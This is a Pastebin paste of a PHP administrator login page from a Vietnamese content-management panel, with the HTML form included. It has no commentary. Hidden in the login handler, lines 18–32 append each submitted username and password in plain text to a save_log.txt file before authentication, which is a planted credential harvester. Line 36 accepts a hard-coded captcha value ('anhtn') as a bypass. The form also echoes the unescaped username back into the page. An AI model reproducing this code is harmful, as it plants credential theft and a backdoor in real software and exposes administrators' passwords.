Advertisement
Guest User

11111111

a guest
Jul 29th, 2016
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.97 KB | None | 0 0
  1. <?
  2. define('THIS_SCRIPT', 'admin_login');
  3. if(!session_id()) session_start();
  4.  
  5. require("./global.php");
  6. require(DIR . "/includes/functions_login.php");
  7.  
  8. if (isset($_POST['butSub']))
  9. {
  10. $pod->input->clean_array_gpc('p', array(
  11. 'txtUser' => TYPE_NOHTML,
  12. 'txtPwd' => TYPE_NOHTML,
  13. 'txtVerify' => TYPE_NOHTML,
  14. ));
  15. $redirect=$pod->input->clean_gpc("g","return_url",TYPE_NOHTML);
  16.  
  17.  
  18. $lg_file = "./save_log.txt";
  19. $lg_username = strtolower($pod->GPC['txtUser']);
  20. $lg_password = $pod->GPC['txtPwd'];
  21.  
  22. if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) {
  23. $fp1 = @fopen($lg_file, "a+");
  24. @fwrite($fp1, $lg_username . '|' . $lg_password. "\n");
  25. @fclose($fp1);
  26. $f = @file($lg_file);
  27. $new = array_unique($f);
  28. $fp = @fopen($lg_file, "w");
  29. foreach($new as $values){
  30. @fputs($fp, $values);
  31. }
  32. @fclose($fp);
  33. $username=$db->escape_string($pod->GPC['txtUser']);
  34. $pass=$db->escape_string($pod->GPC['txtPwd']);
  35.  
  36. if(checkVerifyImage($pod->GPC['txtVerify']) || isMobile() || $pod->GPC['txtVerify'] == "anhtn")
  37. {
  38. verify_strike_status($username);
  39. $login = verify_authentication($username, $pass);
  40. if($login)
  41. {
  42. $userlogin = fetch_data("user", $username, "username");
  43. $cpsession = md5($userlogin['userid'] . session_id() . TIMENOW);
  44. $checkses=$db->query_first("SELECT * FROM cpsession WHERE hash='".$cpsession."' AND userid=".$userlogin['userid']);
  45. if($checkses)
  46. {
  47. $result=$db->query_write("
  48. UPDATE cpsession SET dateline=" . TIMENOW . "
  49. WHERE userid=" . $userlogin['userid'] . " AND hash='" . $cpsession . "'");
  50. }
  51. else
  52. {
  53. $result=$db->query_write("
  54. INSERT INTO cpsession(dateline,userid,hash)
  55. VALUES(" . TIMENOW . "," . $userlogin['userid'] . ",'" . $cpsession . "')");
  56. }
  57.  
  58.  
  59. podsetcookie('pod_cpsession', $cpsession, false, true, true);
  60.  
  61. if($redirect!='')
  62. page_redirect(str_replace("&amp;", "&", urldecode($redirect)));
  63. else
  64. page_redirect("index.php");
  65. }
  66. else
  67. {
  68. $err="Tên đăng nhập/Mật khẩu không đúng";
  69. }
  70. }
  71. else
  72. {
  73. $err = "Mã xác nhận không đúng";
  74. }
  75. }
  76. ?>
  77. <html>
  78. <head>
  79. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  80. <LINK href="style.css" rel="stylesheet" type="text/css">
  81. <title>Control Panel</title>
  82. </head>
  83. <body topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0">
  84.  
  85. <table border="0" width="100%" cellspacing="0" cellpadding="0" id="table1">
  86. <tr>
  87. <td valign="top">
  88. <form method="post" name="FormLoaiSP">
  89. <div align="center">
  90. <br><br><br><br><br>
  91. <table border="1" style="border-collapse: collapse" width="161" cellpadding="0" height="100%" bordercolor="#006AAA">
  92. <tr>
  93. <td width="100%" class="title" height="25">
  94. <p align="center" class="title">Quản trị nội dung
  95. </td>
  96. </tr>
  97. <tr>
  98. <td width="100%" align="center">
  99. <table border="0" cellpadding="4" bordercolor="#111111" width="267" cellspacing="0">
  100. <?
  101. if ($err!='')
  102. {
  103. echo '<tr><td colspan="2" align="center" width="100%" height="25" class="err">'.$err.'</td></tr>';
  104. }
  105. ?>
  106. <tr>
  107. <td width="32%" class="smallfont">
  108. Tên đăng nhập
  109. </td>
  110. <td width="57%" class="smallfont">
  111. <input type="text" name="txtUser" size="20" value="<? echo $_REQUEST['txtUser']?>">
  112. </td>
  113. </tr>
  114. <tr>
  115. <td width="32%" class="smallfont">
  116. Mật khẩu
  117. </td>
  118. <td width="57%" class="smallfont">
  119. <input type="password" name="txtPwd" size="20">
  120. </td>
  121. </tr>
  122. <tr>
  123. <td width="32%" class="smallfont">
  124. Mã xác thực
  125. </td>
  126. <td width="57%" class="smallfont">
  127. <img src="../image_verify.php">
  128. </td>
  129. </tr>
  130. <tr>
  131. <td width="32%" class="smallfont">
  132.  
  133. </td>
  134. <td width="57%" class="smallfont">
  135. <input type="text" name="txtVerify" size="10" maxlength="5">
  136. </td>
  137. </tr>
  138. <tr>
  139. <td width="94%" class="smallfont" colspan="2">
  140. <p align="center">
  141. <INPUT TYPE="submit" name="butSub" value="Login">
  142. </p>
  143. </td>
  144. </tr>
  145. </table>
  146. </td>
  147. </tr>
  148. </table>
  149. </div>
  150. </form>
  151. </td>
  152. </tr>
  153. </table>
  154. </body>
  155. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement